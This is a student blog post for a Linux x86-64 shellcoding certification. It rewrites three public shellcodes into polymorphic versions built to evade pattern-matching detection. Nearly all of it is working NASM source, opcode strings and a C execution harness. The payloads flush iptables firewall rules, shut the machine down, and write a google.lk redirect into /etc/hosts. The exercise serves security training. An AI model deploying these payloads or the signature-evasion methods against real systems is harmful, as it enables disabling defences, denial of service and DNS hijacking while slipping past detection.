This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-6470
Assignment #6
The aim of this assignment is to take 3 shellcodes from shell-storm.org and to create a polymorphic version of them (to beat pattern-matching).
I’ve chosen to rewrite the following shellcodes :
- http://shell-storm.org/shellcode/files/shellcode-683.php
- http://shell-storm.org/shellcode/files/shellcode-877.php
- http://shell-storm.org/shellcode/files/shellcode-896.php
shellcode-683
Version 1
I’ve changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.
Original size : 49 bytes
Polymorphic version is smaller : 43 bytes
root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-683-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo \x48\x31\xc0\x50\x66\x68\x2d\x46\x48\x89\xe1\xeb\x0b\x5f\x50\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 43 bytes
;
; nasm -f elf64 shellcode-683-polymorphic.nasm -o shellcode-683-polymorphic.o
; ld shellcode-683-polymorphic.o -o shellcode-683-polymorphic
;
; Original shellcode :
;
; http://shell-storm.org/shellcode/files/shellcode-683.php
;
; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
; Author: 10n1z3d <10n1z3d[at]w[dot]cn>
; Date: Fri 09 Jul 2010 03:26:12 PM EEST
section .text
global _start
_start:
xor rax, rax
push rax
push word 0x462d
mov rcx, rsp
jmp call_shellcode
shellcode:
pop rdi
push rax
push rcx
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
call_shellcode:
call shellcode
iptables: db '/sbin/iptables'
Version 2
Original size : 49 bytes
Polymorphic version is larger : 61 bytes but its size is < 150 % of the original size
I’ve replaced :
- xor by mov and sub
- push by mov and sub
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 shellcode-683-polymorphic2.nasm -o shellcode-683-polymorphic2.o
; ld shellcode-683-polymorphic2.o -o shellcode-683-polymorphic2
;
; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
; Source Code (NASM):
section .text
global _start
_start:
; xor rax, rax
mov rbx, rax
sub rax, rbx
push rax
push word 0x462d
mov rcx, rsp
mov rbx, 0x73656c626174ffff
shr rbx, 0x10
; push rbx
mov qword [rsp - 8], rbx
sub rsp, 8
mov rbx, 0x70692f6e6962732f
push rbx
mov rdi, rsp
push rax
push rcx
push rdi
mov rsi, rsp
; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
mov al, 0x3b
syscall
shellcode-877
Version 1
I’ve also changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.
Original size : 65 bytes
Polymorphic version is smaller : 60 bytes
root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-877-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo \x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\xeb\x0e\x5f\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\xe8\xed\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x73\x68\x75\x74\x64\x6f\x77\x6e
; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; Linux/x86-64 - shutdown -h now x86_64 Shellcode - 60 bytes ; ; nasm -f elf64 shellcode-877-polymorphic.nasm -o shellcode-877-polymorphic.o ; ld shellcode-877-polymorphic.o -o shellcode-877-polymorphic ; ; Original shellcode : ; ; http://shell-storm.org/shellcode/files/shellcode-877.php ; ; Title: shutdown -h now x86_64 Shellcode - 65 bytes ; Platform: linux/x86_64 ; Date: 2014-06-27 ; Author: Osanda Malith Jayathissa (@OsandaMalith) section .text global _start _start: xor rax, rax xor rdx, rdx push rax push byte 0x77 push word 0x6f6e ; now mov rbx, rsp push rax push word 0x682d ;-h mov rcx, rsp push rax jmp call_shellcode shellcode: pop rdi push rdx push rbx push rcx push rdi mov rsi, rsp add rax, 59 syscall call_shellcode: call shellcode shutdown: db '/sbin/shutdown'
/*
*
* Author : SLAE64-PA-6470 (kahlon81)
* Date : 2018/02/21
*
* Linux/x86-64 - shutdown -h now x86_64 Shellcode - 60 bytes
*
* for i in $(objdump -d shellcode-877-polymorphic.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
*
* gcc -fno-stack-protector -z execstack shellcode-877-polymorphic.c -o shellcode-877-poly
*
*/
#include <stdio.h>
#include <string.h>
unsigned char code[] = "\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\xeb\x0e\x5f\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\xe8\xed\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x73\x68\x75\x74\x64\x6f\x77\x6e";
main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Version 2
Original size : 65 bytes
Polymorphic version is larger : 87 bytes but its size is < 150 % of the original size
I’ve replaced :
- xor by mov and sub
- push with mov and sub
- add dummy instructions (unused register)
; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; nasm -f elf64 shellcode-877-polymorphic2.nasm -o shellcode-877-polymorphic2.o ; ld shellcode-877-polymorphic2.o -o shellcode-877-polymorphic2 ; Title: shutdown -h now x86_64 Shellcode - 65 bytes ; Platform: linux/x86_64 ; Date: 2014-06-27 ; Original Author: Osanda Malith Jayathissa (@OsandaMalith) section .text global _start _start: ;xor rax, rax mov rbx, rax sub rax, rbx xor rdx, rdx ; dummy instruction xor r9, r9 add r9b, 0x33 ;push rax mov qword [rsp - 8], rax sub rsp, 8 push byte 0x77 push word 0x6f6e ; now mov rbx, rsp push rax push word 0x682d ;-h mov rcx, rsp ; dummy instruction sub r9b, 0x12 push rax mov r8, 0x2f2f2f6e6962732f ; /sbin/shutdown mov r10, 0x6e776f6474756873 push r10 push r8 mov rdi, rsp push rdx push rbx push rcx push rdi mov rsi, rsp add rax, 59 syscall
shellcode-896
Version 1
I’ve also changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.
Original size : 110 bytes
Polymorphic version is smaller : 101 bytes
root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-896-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo \x48\x31\xc0\x48\x83\xc0\x02\x48\x31\xff\x48\x31\xf6\x56\xeb\x46\x5f\x48\x31\xf6\x66\x81\xc6\x01\x04\x0f\x05\x48\x97\x48\x31\xc0\x48\x83\xc0\x01\xeb\x18\x5e\xb2\x13\x0f\x05\x48\x31\xc0\x48\x83\xc0\x03\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xe3\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x6c\x6b\xe8\xb5\xff\xff\xff\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - Add map in /etc/hosts file - 102 bytes
;
; nasm -f elf64 shellcode-896-polymorphic.nasm -o shellcode-896-polymorphic.o
; ld shellcode-896-polymorphic.o -o shellcode-896-polymorphic
;
; Title: Add map in /etc/hosts file - 110 bytes
; Date: 2014-10-29
; Platform: linux/x86_64
; Website: http://osandamalith.wordpress.com
; Author: Osanda Malith Jayathissa (@OsandaMalith)
global _start
section .text
_start:
;open
xor rax, rax
add rax, 2 ; open syscall
xor rdi, rdi
xor rsi, rsi
push rsi ; 0x00
jmp call_shellcode
shellcode:
pop rdi
xor rsi, rsi
add si, 0x401
syscall
;write
xchg rax, rdi
xor rax, rax
add rax, 1 ; syscall for write
jmp data
write:
pop rsi
mov dl, 19 ; length in rdx
syscall
;close
xor rax, rax
add rax, 3
syscall
;exit
xor rax, rax
mov al, 60
xor rdi, rdi
syscall
data:
call write
text db '127.1.1.1 google.lk'
call_shellcode:
call shellcode
hosts: db '/etc/hosts'
Here is a screenshot of this running shellcode :

Version 2
Original size : 110 bytes
Polymorphic version is larger : 144 bytes but its size is < 150 % of the original size
I’ve replaced :
- mov rcx, 0x1f1f1f1f5364551f with MMX instructions
- push r10 with mov and sub
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
; nasm -f elf64 shellcode-896-polymorphic2.nasm -o shellcode-896-polymorphic2.o
; ld shellcode-896-polymorphic2.o -o shellcode-896-polymorphic2
; Title: Add map in /etc/hosts file - 110 bytes
; Date: 2014-10-29
; Platform: linux/x86_64
; Website: http://osandamalith.wordpress.com
; Original author: Osanda Malith Jayathissa (@OsandaMalith)
global _start
section .text
_start:
;open
xor rax, rax
add rax, 2 ; open syscall
xor rdi, rdi
xor rsi, rsi
push rsi ; 0x00
;mov r8, 0x2f2f2f2f6374652f ; stsoh/
mov rcx, 0x1f1f1f1f5364551f
movq mm0, rcx
mov rcx, 0x1010101010101010
movq mm1, rcx
paddusb mm0, mm1
movq r8, mm0
emms
mov r10, 0x7374736f682f2f2f ; /cte/
;push r10
mov qword [rsp - 8], r10
sub rsp, 8
push r8
add rdi, rsp
xor rsi, rsi
add si, 0x401
syscall
;write
xchg rax, rdi
xor rax, rax
add rax, 1 ; syscall for write
jmp data
write:
pop rsi
mov dl, 19 ; length in rdx
syscall
;close
xor rax, rax
add rax, 3
syscall
;exit
xor rax, rax
mov al, 60
xor rdi, rdi
syscall
data:
call write
text db '127.1.1.1 google.lk'